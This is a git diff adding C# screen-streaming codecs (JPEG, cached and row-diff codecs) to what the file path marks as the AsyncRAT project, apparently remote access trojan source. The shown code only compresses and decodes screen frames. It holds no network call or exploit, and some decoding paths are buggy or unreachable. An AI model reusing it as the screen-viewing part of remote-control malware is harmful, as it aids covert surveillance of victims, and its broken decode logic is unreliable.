namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
public class DirectDriverCodec
|
||||||
|
{
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
|
||||||
|
private byte[] EncodeBuffer;
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private JpgCompression jpgCompression;
|
||||||
|
|
||||||
|
public DirectDriverCodec(int Quality)
|
||||||
|
{
|
||||||
|
jpgCompression = new JpgCompression(Quality);
|
||||||
|
}
|
||||||
|
|
||||||
|
public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = ImageSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
if (EncodeBuffer == null)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
this.EncodeBuffer = new byte[RawLength];
|
||||||
|
fixed (byte* ptr = EncodeBuffer)
|
||||||
|
{
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < Changes.Length; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = Changes[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Position;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
68
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs
Normal file
68
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The M-JPG codec is not very efficient for networking as it is just a very simple codec
|
||||||
|
/// </summary>
|
||||||
|
public class MJPGCodec : IVideoCodec
|
||||||
|
{
|
||||||
|
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
internal set { }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.None; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public MJPGCodec(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (base.jpgCompression)
|
||||||
|
{
|
||||||
|
byte[] data = base.jpgCompression.Compress(bitmap);
|
||||||
|
outStream.Write(BitConverter.GetBytes(data.Length), 0, 4);
|
||||||
|
outStream.Write(data, 0, data.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
lock (base.jpgCompression)
|
||||||
|
{
|
||||||
|
if (!inStream.CanRead)
|
||||||
|
throw new Exception("Must have access to Read in the Stream");
|
||||||
|
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
int DataLength = BitConverter.ToInt32(temp, 0);
|
||||||
|
temp = new byte[DataLength];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
return (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,204 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
public class QuickCachedStreamCodec : IVideoCodec
|
||||||
|
{
|
||||||
|
private Bitmap CodeTempBitmap;
|
||||||
|
private Bitmap DecodeTempBitmap;
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int MaxBuffers { get; private set; }
|
||||||
|
private SortedList<int, byte[]> EncodeCache;
|
||||||
|
private SortedList<int, byte[]> DecodeCache;
|
||||||
|
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of QuickStreamCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||||
|
public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
this.MaxBuffers = MaxBuffers;
|
||||||
|
this.EncodeCache = new SortedList<int, byte[]>();
|
||||||
|
this.DecodeCache = new SortedList<int, byte[]>();
|
||||||
|
}
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||||
|
{
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
if (CodeTempBitmap != null)
|
||||||
|
{
|
||||||
|
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (CodeTempBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
CodeTempBitmap = bitmap;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||||
|
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||||
|
int Stride = Math.Abs(bmpData.Stride);
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
|
||||||
|
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||||
|
{
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||||
|
|
||||||
|
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||||
|
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[Stride];
|
||||||
|
fixed(byte* ptr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
CRC32 hasher = new CRC32();
|
||||||
|
int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0);
|
||||||
|
|
||||||
|
if (EncodeCache.Count >= MaxBuffers)
|
||||||
|
EncodeCache.RemoveAt(0);
|
||||||
|
|
||||||
|
if (EncodeCache.ContainsKey(hash))
|
||||||
|
{
|
||||||
|
outStream.WriteByte(1);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
outStream.WriteByte(0);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
EncodeCache.Add(hash, temp);
|
||||||
|
}
|
||||||
|
Blocks.Add(ScanBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||||
|
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||||
|
|
||||||
|
cloned.Dispose();
|
||||||
|
}
|
||||||
|
|
||||||
|
bitmap.UnlockBits(bmpData);
|
||||||
|
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||||
|
|
||||||
|
if (onVideoStreamCoding != null)
|
||||||
|
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||||
|
|
||||||
|
if (CodeTempBitmap != null)
|
||||||
|
CodeTempBitmap.Dispose();
|
||||||
|
this.CodeTempBitmap = bitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
if (!inStream.CanRead)
|
||||||
|
throw new Exception("Must have access to Read in the Stream");
|
||||||
|
|
||||||
|
if (DecodeTempBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return DecodeTempBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||||
|
//int Stride = Math.Abs(BmpData.Stride);
|
||||||
|
|
||||||
|
while (inStream.Position < inStream.Length)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[11];
|
||||||
|
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||||
|
break;
|
||||||
|
|
||||||
|
bool inCache = temp[0] == 1;
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 1);
|
||||||
|
int Hash = BitConverter.ToInt32(temp, 5);
|
||||||
|
ushort Y = BitConverter.ToUInt16(temp, 9);
|
||||||
|
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (inCache)
|
||||||
|
{
|
||||||
|
if (DecodeCache.ContainsKey(Hash))
|
||||||
|
{
|
||||||
|
temp = DecodeCache[Hash];
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//copy new data to cached bitmap
|
||||||
|
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
|
||||||
|
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||||
|
{
|
||||||
|
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||||
|
}
|
||||||
|
|
||||||
|
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||||
|
int Offset = Y * Stride;
|
||||||
|
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||||
|
//tmpBmp.UnlockBits(tmpData);
|
||||||
|
tmpBmp.Dispose();
|
||||||
|
}
|
||||||
|
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||||
|
|
||||||
|
return DecodeTempBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,179 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
public class QuickStreamCodec : IVideoCodec
|
||||||
|
{
|
||||||
|
private Bitmap CodeTempBitmap;
|
||||||
|
private Bitmap DecodeTempBitmap;
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of QuickStreamCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||||
|
public QuickStreamCodec(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||||
|
{
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
if (CodeTempBitmap != null)
|
||||||
|
{
|
||||||
|
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (CodeTempBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
CodeTempBitmap = bitmap;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||||
|
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||||
|
int Stride = Math.Abs(bmpData.Stride);
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
|
||||||
|
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||||
|
{
|
||||||
|
if(onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||||
|
|
||||||
|
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||||
|
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
int index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y)
|
||||||
|
{
|
||||||
|
ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height);
|
||||||
|
Blocks[index] = ScanBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(ScanBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||||
|
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
cloned.Dispose();
|
||||||
|
TotalDataLength += 6 + temp.Length;
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
|
||||||
|
bitmap.UnlockBits(bmpData);
|
||||||
|
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||||
|
|
||||||
|
if (onVideoStreamCoding != null)
|
||||||
|
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||||
|
|
||||||
|
if (CodeTempBitmap != null)
|
||||||
|
CodeTempBitmap.Dispose();
|
||||||
|
this.CodeTempBitmap = bitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
if (!inStream.CanRead)
|
||||||
|
throw new Exception("Must have access to Read in the Stream");
|
||||||
|
|
||||||
|
if (DecodeTempBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 4);
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return DecodeTempBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
byte[] LenTemp = new byte[4];
|
||||||
|
inStream.Read(LenTemp, 0, 4);
|
||||||
|
int DataLength = BitConverter.ToInt32(LenTemp, 0);
|
||||||
|
|
||||||
|
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||||
|
//int Stride = Math.Abs(BmpData.Stride);
|
||||||
|
|
||||||
|
while (DataLength > 0)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[6];
|
||||||
|
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||||
|
break;
|
||||||
|
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
ushort Y = BitConverter.ToUInt16(temp, 4);
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||||
|
break;
|
||||||
|
|
||||||
|
//copy new data to cached bitmap
|
||||||
|
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
|
||||||
|
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||||
|
{
|
||||||
|
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||||
|
}
|
||||||
|
|
||||||
|
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||||
|
int Offset = Y * Stride;
|
||||||
|
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||||
|
//tmpBmp.UnlockBits(tmpData);
|
||||||
|
tmpBmp.Dispose();
|
||||||
|
DataLength -= 6 + temp.Length;
|
||||||
|
}
|
||||||
|
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||||
|
|
||||||
|
return DecodeTempBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,374 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
public class SmallCachedStreamCodec : IVideoCodec
|
||||||
|
{
|
||||||
|
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
SortedList<int, byte[]> codeCached;
|
||||||
|
SortedList<int, byte[]> decodeCached;
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return codeCached.Count; }
|
||||||
|
}
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
private Size CheckBlock { get; set; }
|
||||||
|
public SimpleBitmap LastFrame { get; set; }
|
||||||
|
private object ImageProcessLock = new object();
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
private CRC32 hasher;
|
||||||
|
public int MaxBuffers { get; private set; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of SmallCachedStreamCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="MaxBuffers">The maximum amount of buffers, higher value will decrease stream size but could decrease performance</param>
|
||||||
|
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||||
|
public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
CheckBlock = new Size(20, 1);
|
||||||
|
codeCached = new SortedList<int, byte[]>();
|
||||||
|
decodeCached = new SortedList<int, byte[]>();
|
||||||
|
hasher = new CRC32();
|
||||||
|
this.MaxBuffers = MaxBuffers;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void SetLastFrame(ref Bitmap bmp)
|
||||||
|
{
|
||||||
|
SetLastFrame(new SimpleBitmap(bmp));
|
||||||
|
}
|
||||||
|
private void SetLastFrame(SimpleBitmap bmp)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
if (LastFrame != null && LastFrame.Locked)
|
||||||
|
LastFrame.Dispose(true);
|
||||||
|
